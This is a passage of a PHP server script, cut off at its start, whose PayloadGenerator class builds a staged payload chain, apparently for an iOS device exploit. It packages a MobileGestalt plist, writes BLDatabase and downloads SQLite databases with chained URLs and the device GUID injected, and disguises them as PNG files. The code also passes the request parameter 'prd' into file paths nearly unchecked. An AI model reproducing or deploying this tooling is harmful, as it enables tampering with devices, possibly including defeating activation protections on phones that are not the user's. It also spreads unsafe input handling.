prd = str_replace(',', '-', $prd); $this->guid = $guid; $this->sn = $sn; } private function generateToken() { return bin2hex(random_bytes(8)); } private function readTemplate($filename) { if (!file_exists($filename)) throw new Exception("Template missing: " . basename($filename)); return file_get_contents($filename); } private function createDatabaseFromSql($sqlContent, $outputPath) { try { // Fix Oracle/Custom unistr formatting for SQLite $sqlContent = preg_replace_callback("/unistr\s*\(\s*['\"]([^'\"]*)['\"]\\s*\)/i", function($matches) { $str = $matches[1]; $str = preg_replace_callback('/\\\\([0-9A-Fa-f]{4})/', function($m) { return mb_convert_encoding(pack('H*', $m[1]), 'UTF-8', 'UCS-2BE'); }, $str); return "'" . str_replace("'", "''", $str) . "'"; }, $sqlContent); $sqlContent = preg_replace("/unistr\s*\(\s*(['\"][^'\"]*['\"])\s*\)/i", "$1", $sqlContent); $db = new SQLite3($outputPath); $statements = explode(';', $sqlContent); foreach ($statements as $stmt) { $stmt = trim($stmt); if (!empty($stmt) && strlen($stmt) > 5) @$db->exec($stmt . ';'); } $db->close(); return true; } catch (Exception $e) { error_log("DB Creation Error: " . $e->getMessage()); return false; } } public function process() { // 1. MobileGestalt $plistSource = ASSETS_DIR . "/Maker/{$this->prd}/com.apple.MobileGestalt.plist"; if (!file_exists($plistSource)) { http_response_code(404); die("Error: Configuration not found for device {$this->prd}. Please ensure assets/Maker is populated."); } $token1 = $this->generateToken(); $dir1 = CACHE_DIR . "/stage1/$token1"; if (!is_dir($dir1)) mkdir($dir1, 0755, true); $zipPath = "$dir1/payload.zip"; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE) !== TRUE) die("Compression Error"); $zip->addFile($plistSource, "Caches/com.apple.MobileGestalt.plist"); $zip->close(); rename($zipPath, "$dir1/fixedfile"); // 2. BLDatabase $token2 = $this->generateToken(); $dir2 = CACHE_DIR . "/stage2/$token2"; if (!is_dir($dir2)) mkdir($dir2, 0755, true); $blSql = $this->readTemplate(TEMPLATE_DIR . '/bl_structure.sql'); $blSql = str_replace('KEYOOOOOO', BASE_URL . "/cache/stage1/$token1/fixedfile", $blSql); $this->createDatabaseFromSql($blSql, "$dir2/intermediate.sqlite"); rename("$dir2/intermediate.sqlite", "$dir2/belliloveu.png"); // 3. Final Payload $token3 = $this->generateToken(); $dir3 = CACHE_DIR . "/stage3/$token3"; if (!is_dir($dir3)) mkdir($dir3, 0755, true); $dlSql = $this->readTemplate(TEMPLATE_DIR . '/downloads_structure.sql'); $dlSql = str_replace('https://google.com', BASE_URL . "/cache/stage2/$token2/belliloveu.png", $dlSql); $dlSql = str_replace('GOODKEY', $this->guid, $dlSql); $this->createDatabaseFromSql($dlSql, "$dir3/final.sqlite"); rename("$dir3/final.sqlite", "$dir3/payload.png"); return BASE_URL . "/cache/stage3/$token3/payload.png"; } } if (!isset($_GET['prd'], $_GET['guid'], $_GET['sn'])) { http_response_code(400); die("Invalid Parameters"); } try { $gen = new PayloadGenerator($_GET['prd'], $_GET['guid'], $_GET['sn']); echo $gen->process(); } catch (Exception $e) { http_response_code(500); die("Server Error"); }